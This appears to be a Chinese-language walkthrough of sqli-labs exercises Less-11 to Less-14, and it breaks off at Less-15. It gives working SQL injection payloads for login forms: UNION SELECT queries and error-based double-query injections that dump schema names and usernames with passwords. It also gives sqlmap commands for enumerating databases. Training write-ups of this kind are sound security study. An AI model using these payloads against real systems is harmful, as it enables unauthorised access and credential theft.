Less-11
手工注入
1.开始为post类型的注入,先加个单引号,报错如下。
构造出SQL语句应该为:select username,password from users where username=' ' ' and password=' 2' limit 0,1;
也即是password字段被单引号包含了' and password='
,导致 出现2' limit 0,1;
引号不匹配的情况。下图看起来更直观些。
2.所以,可构造如下语句:' #
。 #
把后面的都注释掉,然后在其前面加上自己构造的语句。
3.先用group by 看看有多少列:' group by 1
,经过测试,共2个字段。
4.下面,开始使用联合查询:-1' union select 1,2 #
返回正常,开始构造语句。
5.查数据库名:' union select 1,database() #
6.接下来查表名,构造和Less-1
类似:' union select 1,group_concat(table_name) from information_schema.tables where table_schema='security' #
7.查列名' union select 1,group_concat(column_name) from information_schema.columns where table_name='users' #
8.查内容:' union select group_concat(username),group_concat(password) from security.users #
OK,已经得到想要的。
用sqlmap注入
1.首先,使用BurpSuite
抓包,然后保存抓取到的内容。例如:保存为use.txt,把它放至某个目录下,这里为:F:/temp/use.txt
。
2.首先,判断是否存在SQL注入漏洞,python2 sqlmap.py -r F:/temp/use.txt - --batch
得到两个注入点,如图:
3.查询当前数据库python2 sqlmap.py -r F:/temp/use.txt - --batch --current-db
4.查询表::python2 sqlmap.py -r F:/temp/use.txt - --batch -D security --tables
5.剩下的查询和Less-1
的用法一样,列-内容,一个一个爆即可。
Less-12
1.加单引号,正常,加双引号,报错:
由图可知,为双引号加括号闭合。
2.构造:") #
返回正常,所以用Less-11
构造的方法构造语句即可。即") 构造的语句 #
不在赘述。
Less-13
1.加单引号,报错,知道为单引号加括号闭合。
2.以为就这样了,结果采用上面的构造方法无用,看来没那么简单,应该使用双查询注入了,和Less-5的构造基本相同。
3.查数据库,构造如下。') or (select 1 from (select count(*),concat((select concat(schema_name,';') from information_schema.schemata limit 0,1),floor(rand()*2)) as x from information_schema.tables group by x) as a)#
继续爆其他数据库名,改变limit n,1
即可。
4.查表:') or (select 1 from (select count(*),concat((select concat(table_name,';') from information_schema.tables where table_schema='security' limit 0,1),floor(rand()*2)) as x from information_schema.tables group by x) as a)#
同样,改变limit n,1
即可。
5.查列名:') or (select 1 from (select count(*),concat((select concat(column_name,';') from information_schema.columns where table_name='users' limit 0,1),floor(rand()*2)) as x from information_schema.columns group by x) as a) #
同样,改变limit n,1
即可。
6.查内容:') or (select 1 from (select count(*),concat((select concat(username,': ',password,';') from security.users limit 0,1),floor(rand()*2)) as x from security.users group by x) as a)#
同样,改变limit n,1
即可。
Less-14
1.加单引号,正常,加双引号,报错,可知为双引号闭合。
2.应该不会直接是联合查询了,一试,果然还是双查询注入。
3.构造:" 构造语句 #
构造语句和less-13
一样。
Less-15
1.加单